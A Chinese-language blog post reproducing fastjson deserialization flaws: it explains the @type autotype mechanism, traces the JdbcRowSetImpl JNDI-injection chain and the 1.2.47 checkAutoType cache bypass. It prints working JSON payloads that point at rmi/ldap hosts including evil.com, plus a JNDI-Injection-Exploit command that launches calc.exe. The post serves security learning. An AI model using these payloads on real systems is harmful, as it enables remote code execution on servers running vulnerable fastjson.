fastjson 反序列化漏洞复现

前言

fastjson 基础

fastjsonalibaba出品的一个java 第三方库,它能够实现class对象json字符串之间的互相转化.

简单例子:

将对象序列化为json 字符串.

// object to Json string
// Test.java
package demo;
import com.alibaba.fastjson.JSON;

public class Test {
    public static void main(String[] args) {
        User user = new User();

        user.setAge(18);
        user.setName("Java");

        String json = JSON.toJSONString(user);
        System.out.println(json);
    }
}
// User.java
package demo;

public class User {
    private int age;
    private String name;

    public void sayHello(){
        System.out.println("Hello, I am " + name);
    }

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }
}

image-20220713132838164

json 字符串反序列化为object对象:

User.java不变.

// Test.java
package demo;
import com.alibaba.fastjson.JSON;

public class Test {
    public static void main(String[] args) {
        // json string to object
        String userString = "{\"age\":18,\"name\":\"Java\"}";
        User user = JSON.parseObject(userString,User.class);
        System.out.println("反序列化的结果, age为: " + user.getAge()+ " name 为: " + user.getName());
    }
}

image-20220713133911855

反序列化的过程中,会默认调用目标对象的setter 方法,也就是setXXX 方.我们将User.java 进行一个简单修改,再次运行

image-20220713134330581

可以看到setAgesetName 里面的 println 函数被触发.

Json.parseObject 还有一个接口方法,它可以只接收传入的String

image-20220713140247607

JSONObjectJSON字符串pojo对象转换过程中的中间表达类型,实现了Map接口,可以看做是一个模拟JSON对象键值对再加上多层嵌套的数据集合,对象的每一个基本类型属性是map里的一个key-value.

我们可以传入简单的json字符串,例如"{\"age\":18,\"name\":\"Java\"}",但这并不会将其解析到一个对象中去,因为没有到对应的对象中,所以也不会触发对象的setter方法.

很明显,我们得思考如何才能将json字符串解析到对应的对象中去.

答案是利用@type属性.

我们为上面简单 json字符串 添加一个字段@type,添加后整体内容如下:"{\"@type\":\"demo.User\",\"age\":18,\"name\":\"Java\"}"

很明显,我们通过@type 字段,指定了需要将对应的 json对象 解析到 demo.User 这个类中.由于解析到了类中,便触发了 setter方法.

image-20220713144509808

攻击向量

有了上面的基础我们会发现parseObject() 能够自动调用setter方法,于是我们就有了目标,去寻找那些存在setter方法的类并且里面还存在危险函数调用.

于是大佬们找到了可利用的类com.sun.rowset.JdbcRowSetImpl.我们来看看这个类中2个setter方法:

public void setDataSourceName(String name) throws SQLException {
        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }
public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

进一步跟进connect()方法:

protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

可以看到,在connect 方法中,如果 DataSourceName!=nil,那么就能调用一个jndi,如果DataSourceName可控,那么这里就是一个jndi注入.

于是就有了一个最经典的payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Evil","autoCommit":true}

其中设置 dataSourceNameautoCommit 字段就能够触发 setDataSourceNamesetAutoCommit,其中,autoCommit的内容为bool类型,为true 或者 false 都是可以的.

正文

fastjson 1.2.24<=

payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Evil","autoCommit":true}

配合JNDI-Injection-Exploit,开启一个rmi服务:

java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd /c calc.exe" -A "192.168.3.144"

由于这边我的java version1.8.0_332,属于Oracle JDK 8u191 之后,所以在利用之前需要设置 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true")

关于限制,目前还有很多东西没有弄清楚,后面单独写一篇博客来学习和看到大佬们绕过高版本的 JDK JNDI 注入限制

其中,dataSourceName 的值为使用上述脚本生成的地址:

image-20220713203722218

运行,可以看到成功执行cmd /c calc.exe.

image-20220713203509139

fastjson 1.2.47<=

payload

{"a": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://evil.com:9999/Exploit","autoCommit": true}}

分析

1.2.25 版本后,fastjson 增加了对@type 加载类的检测.

这里我以 fastjson 1.2.47为例进行分析:

其实将上面一段json数据带入到以下代码来分析可能会比较容易理解:

 String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
 String payload_2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.3.144:1389/8qmdyu\",\"autoCommit\":true}";
JSON.parse(payload);
JSON.parse(payload_2);

在解析{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}时.

checkAutoType处:

由于默认的 autoTypeSupoortflase,所以默认就不会进入到 黑名单的判断逻辑里.

image-20220716165545983

随后,在第832行clazz赋值为java.lang.class class 类.

image-20220716170031539

继续跟踪,会发现再MiscCodec.class中的第304行将strVal也就是 {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}中的 com.sun.rowset.JdbcRowSetImpl,带入到了 TypeUtils.loadClass函数

image-20220716171415164

跟进函数,发现将 com.sun.rowset.JdbcRowSetImpl 字符串放入到了 map中.

image-20220716172253220

之后再解析{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://evil.com:9999/Exploit","autoCommit": true} 时,在checkAutoType函数中,成功从TypeUtils.getClassFromMapping 获取到了之前在map中的缓存类,也就是com.sun.rowset.JdbcRowSetImpl,最后return直接返回class: com.sun.rowset.JdbcRowSetImpl,从而绕过了 checkAutoType 的检测.image-20220716170808404

对 Java 的熟悉程度还远不支持我跟进和分析每一个 Java 函数的作用,所以本片文章是在作者尽可能读懂代码下,根据前辈大佬们的文章进行复现的

参考

https://i.kimmking.cn/2017/06/06/json-best-practice/

https://cloud.tencent.com/developer/article/1674171

https://paper.seebug.org/942/#1-rmi-remote-object-payload

fastJson:1.2.47:

https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955

https://www.freebuf.com/vuls/208339.html

https://xz.aliyun.com/t/9052#toc-15